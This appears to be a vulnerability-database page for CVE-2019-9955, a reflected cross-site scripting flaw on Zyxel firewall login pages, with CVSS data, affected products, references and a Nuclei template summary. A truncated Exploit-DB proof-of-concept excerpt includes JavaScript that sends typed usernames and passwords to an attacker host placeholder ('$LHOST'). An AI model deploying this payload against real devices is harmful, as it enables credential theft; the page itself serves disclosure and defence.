CVE-2019-9955
published 2019-04-22CVE-2019-9955: On Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL…
PriorityP347medium6.1CVSS 3.0
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
21.18%
97.6th percentile
On Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, ZyWALL 1100 devices, the security firewall login page is vulnerable to Reflected XSS via the unsanitized 'mp_idx' parameter.
Affected
18 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| zyxel | atp200_firmware | — | — |
| zyxel | atp500_firmware | — | — |
| zyxel | atp800_firmware | — | — |
| zyxel | usg1100_firmware | — | — |
| zyxel | usg110_firmware | — | — |
| zyxel | usg1900_firmware | — | — |
| zyxel | usg20-vpn_firmware | — | — |
| zyxel | usg20w-vpn_firmware | — | — |
| zyxel | usg210_firmware | — | — |
| zyxel | usg2200-vpn_firmware | — | — |
| zyxel | usg310_firmware | — | — |
| zyxel | usg40_firmware | — | — |
| zyxel | usg40w_firmware | — | — |
| zyxel | usg60_firmware | — | — |
| zyxel | usg60w_firmware | — | — |
| zyxel | zywall_1100_firmware | — | — |
| zyxel | zywall_110_firmware | — | — |
| zyxel | zywall_310_firmware | — | — |
CVSS provenance
nvdv3.06.1MEDIUMCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting
exploitdb·2019-04-16
CVE-2019-9955 Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting
Zyxel ZyWall 310 / ZyWall 110 / USG1900 / ATP500 / USG40 - Login Page Cross-Site Scripting
---
# Exploit Title: Reflected XSS on Zyxel login pages
# Date: 10 Apr 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://www.zyxel.com/us/en/
# Version: V4.31
# Tested on: ZyWall 310, ZyWall 110, USG1900, ATP500, USG40 - weblogin.cgi, webauth_relogin.cgi
# CVE : 2019-9955
1. Description
Several Zyxel devices are vulnerable to a reflected Cross-Site Scripting via the
mp_idx parameter on weblogin.cgi and webauth_relogin.cgi.
2. Proof of Concept
Host a malicious file JavaScript file named 'z', or any other single character,
locally. The contents of 'z' for the following example are:
$("button").click(function() {
$.get("//$LHOST", { username: $("input:text").val(), password: $("inpu
Nuclei
Zyxel - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2019-9955 [MEDIUM] Zyxel - Cross-Site Scripting
Zyxel - Cross-Site Scripting
Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.
Template:
id: CVE-2019-9955
info:
name: Zyxel - Cross-Site Scripting
author: pdteam
severity: medium
description: Zyxel ATP200, ATP500, ATP800, USG20-VPN, USG20W-VPN, USG40, USG40W, USG60, USG60W, USG110, USG210, USG310, USG1100, USG1900, USG2200-VPN, ZyWALL 110, ZyWALL 310, and ZyWALL 1100 devices contain a reflected cross-site scripting vulnerability on the security firewall login page via the mp_idx parameter.
impact: |
Attackers can execute scripts in the
http://packetstormsecurity.com/files/152525/Zyxel-ZyWall-Cross-Site-Scripting.htmlhttp://seclists.org/fulldisclosure/2019/Apr/22https://www.exploit-db.com/exploits/46706/https://www.securitymetrics.com/blog/Zyxel-Devices-Vulnerable-Cross-Site-Scripting-Login-pagehttps://www.zyxel.com/support/reflected-cross-site-scripting-vulnerability-of-firewalls.shtmlhttp://packetstormsecurity.com/files/152525/Zyxel-ZyWall-Cross-Site-Scripting.htmlhttp://seclists.org/fulldisclosure/2019/Apr/22https://www.exploit-db.com/exploits/46706/https://www.securitymetrics.com/blog/Zyxel-Devices-Vulnerable-Cross-Site-Scripting-Login-pagehttps://www.zyxel.com/support/reflected-cross-site-scripting-vulnerability-of-firewalls.shtml
2019-04-22
Published